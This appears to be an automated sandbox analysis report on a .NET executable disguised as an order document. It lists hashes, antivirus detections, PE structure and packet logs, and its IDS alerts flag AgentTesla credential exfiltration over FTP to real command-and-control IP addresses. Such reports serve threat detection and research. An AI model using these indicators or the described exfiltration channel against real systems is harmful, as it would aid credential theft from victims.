SHA-512:	DBF66BF2CB3B1124FA7F9F396C4B979388E6DFAE9CA2BEC6B6C792D6F5D4F23F8827330712419394EB1989654AF7F6D7CCD14C3FD8582870A7FA774207C80B80
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16% Antivirus: Virustotal, Detection: 26%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....6.g.............................;... ...@....@.. ....................................`.................................`;..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................;......H........(..H............................................................s....&b.(....(....(.....(....&..(....r...po....r]..p .......o....&Z(.....(....u....o........&&...]&.".(5...&..{....o7...r...p.{....o7...o8....X.#...(9...o:...&Fr#..pr#..p(4...&..0..`........(.....(.....(.....s....%r...po....%....s....o....}.....{...........s....o.....(.....{....o.....0............8......X...2..0..<.........80....s......rq..po...........9.....o .........&......,..*............

C:\Users\user\AppData\Roaming\Cbgoomiexw.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.987364829761206
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	GEFA-Order 232343-68983689.exe
File size:	9'728 bytes
MD5:	0c3d0b4cd6833a23ebc0687d97c64d73
SHA1:	41bae7df2f2544b207777c920429383a88745035
SHA256:	f0fa4e57be6d0ad0debbbb9189344a61896d0d38c6c9f2345d2421070e20389c
SHA512:	dbf66bf2cb3b1124fa7f9f396c4b979388e6dfae9ca2bec6b6c792d6f5d4f23f8827330712419394eb1989654af7f6d7ccd14c3fd8582870a7fa774207c80b80
SSDEEP:	192:XNwfhPQWzJTuFZVFJ5pztwaqRI3INwEvRknn/cE7TSAl:9QpxTufjJ5pzt3Kw0Rkn0dA
TLSH:	D1121911B7B8C633C8BE073194F7821013B4B2157852DBCC1DCD51DF9A12FA4A6A3796
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....6.g.............................;... ...@....@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x403bae
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x670636CB [Wed Oct 9 07:54:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3b60	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x5b6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1bb4	0x1c00	5fb99836ae108650e5ad677699209cc6	False	0.5514787946428571	data	5.427442310265788	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x5b6	0x600	7c26b62f896f8022014b45c5b29bd0f5	False	0.4192708333333333	data	4.119521525818458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	d9e08422d3077fe0be94f8ec16840100	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x40a0	0x32c	data			0.4273399014778325
RT_MANIFEST	0x43cc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-09T10:51:06.765174+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.4	49731	5.2.84.236	21	TCP
2024-10-09T10:51:07.397881+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49732	5.2.84.236	54172	TCP
2024-10-09T10:51:07.404047+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49732	5.2.84.236	54172	TCP
2024-10-09T10:51:22.680290+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.4	49740	5.2.84.236	21	TCP
2024-10-09T10:51:23.289578+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49741	5.2.84.236	59878	TCP
2024-10-09T10:51:23.295500+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49741	5.2.84.236	59878	TCP
2024-10-09T10:51:31.312442+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.4	49743	5.2.84.236	21	TCP
2024-10-09T10:51:31.937083+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49744	5.2.84.236	50958	TCP
2024-10-09T10:51:31.942584+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49744	5.2.84.236	50958	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 9, 2024 10:50:58.751415968 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:50:58.751454115 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:50:58.752163887 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:50:58.850239992 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:50:58.850259066 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:50:59.793442011 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:50:59.794083118 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:50:59.797000885 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:50:59.797014952 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:50:59.797463894 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:50:59.847832918 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.176498890 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.223401070 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.507468939 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.507544041 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.507567883 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.507600069 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.507693052 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.507693052 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.507716894 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.551042080 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.740422964 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.740458012 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.740518093 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.740648031 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.740672112 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.740721941 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.740741968 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.740849018 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.740849018 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.741513014 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.741533995 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.741813898 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.743037939 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.743058920 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.743159056 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.974004984 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.974060059 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.974241972 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.974483967 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.974754095 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.975177050 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.975404978 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.976145029 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.976725101 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.977144003 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.977691889 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.978095055 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.978769064 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:00.978998899 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:00.979094982 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.208086967 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.208121061 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.208261967 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.208327055 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.208327055 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.208369970 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.208395958 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.208440065 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.208450079 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.208487988 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.208523035 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.208524942 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.208555937 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.208607912 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.208695889 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.208749056 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.208843946 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.209146023 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.209259033 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.209676981 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.209770918 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.209772110 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.209798098 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.209863901 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.209882975 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.212954998 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.213069916 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.213203907 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.213361979 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.213423967 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.213525057 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.213687897 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.213869095 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.213927984 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.214025021 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.296521902 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.296663046 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.296730042 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.296730042 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.296749115 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.296853065 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.441313982 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.441435099 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.441478014 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.441710949 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.441737890 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.441873074 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.442286015 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.442389965 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.442642927 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.442742109 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.442751884 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.442781925 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.442841053 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.442841053 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.443284988 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.443408012 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.443583012 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.443722010 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.443921089 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.444022894 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.444024086 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.444048882 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.444197893 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.444574118 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.444657087 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.444751978 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.444885969 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.445457935 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.445524931 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.445544004 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.445555925 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.445569992 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.445597887 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.445599079 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.445611000 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.445657969 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.445766926 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.446310997 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.446479082 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.529880047 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.530095100 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.530098915 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.530126095 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.530185938 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.530267954 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.530365944 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.530559063 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.531132936 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.531233072 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.531445026 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.531521082 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.531522036 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.531558990 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.531605959 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.531613111 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.531613111 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.531625986 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.531708956 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.531708956 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.531972885 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.532038927 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.532380104 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.532576084 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.532772064 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.532835007 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.533112049 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.533186913 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.533230066 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.533271074 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.533299923 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.533309937 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.533323050 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.533447981 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.675071001 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.675343990 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.675400972 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.675424099 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.675474882 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.675474882 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.675915003 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.675998926 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.676018953 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.676258087 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.676481009 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.676575899 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.676587105 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.676604986 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.676664114 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.676664114 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.676968098 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.677066088 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.677108049 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.677117109 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.677160025 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.677160025 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.678102970 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.678210020 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.678257942 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.678267002 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.678298950 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.678320885 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.678792953 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.678894043 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.678906918 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.679004908 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.679006100 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.679029942 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.679104090 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.679245949 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.679480076 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.679591894 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.679610968 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.679792881 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.680135965 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.680223942 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.763699055 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.763823032 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.763868093 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.763885021 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.763936996 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.763955116 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.764110088 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.764247894 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.764611006 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.764830112 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:01.764885902 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:01.764993906 CEST	49730	443	192.168.2.4	103.191.208.122
